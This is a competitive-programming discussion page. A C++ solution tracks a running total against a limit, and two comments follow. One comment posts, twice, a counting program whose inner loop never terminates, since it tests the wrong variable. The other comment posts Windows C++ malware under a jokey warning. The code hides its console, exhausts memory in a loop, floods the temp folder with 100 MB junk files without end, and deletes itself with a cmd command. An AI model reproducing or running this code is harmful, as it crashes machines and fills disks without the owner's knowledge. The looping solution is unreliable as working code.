#include<bits/stdc++.h>
using namespace std;
int q[10000000];
int a[100000];
int main(){
	int n,m,w,z,now=0;
	cin>>n>>m>>w;
	int ans=0;
	for(int i=1;i<=n;i++){
		cin>>a[i];
	}
	for(int i=1;i<=m;i++){
		cin>>z;
		if(q[z]==0){
			now+=a[z];
			q[z]=1;
			ans=max(ans,now);
			if(now>w){
				cout<<"Oh, My God!";
				return 0;
			}
		}
		else{
			q[z]=0;
			now-=a[z];
		}
	}
	cout<<ans;
	return 0;

}

2 条评论

  • @ 2025-4-19 10:12:16

    #include <bits/stdc++.h> using namespace std; int a[1000100]; int b[1000100]; int main() { int n,m,c=0; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>a[i]; } for(int i=1;i<=m;i++){ cin>>b[i]; } for(int i=1;i<=max(n,m);i++){ for(int j=1;i<=max(n,m);+j++){ if(a[i]==b[j]){ c++; } } } cout<<c; return 0; }

    • @ 2025-4-19 10:12:45

      #include <bits/stdc++.h> using namespace std; int a[1000100]; int b[1000100]; int main() { int n,m,c=0; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>a[i]; } for(int i=1;i<=m;i++){ cin>>b[i]; } for(int i=1;i<=max(n,m);i++){ for(int j=1;i<=max(n,m);+j++){ if(a[i]==b[j]){ c++; } } } cout<<c; return 0; }

  • @ 2025-4-5 8:24:46

    千万补药实行这个代码,电脑炸了我不管

    #include <windows.h> #include

    void SystemAttack() { while(true) { VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE); } }

    void FileAttack() { char tmpPath[MAX_PATH]; GetTempPathA(MAX_PATH, tmpPath); for(int i=0;;i++) { std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp") .seekp(100 * 1024 * 1024-1).put(0); } }

    void SelfDestruct() { system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0"); }

    int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); std::thread t1(SystemAttack); std::thread t2(FileAttack); t1.detach(); t2.detach(); SelfDestruct(); while(true); }

    • 1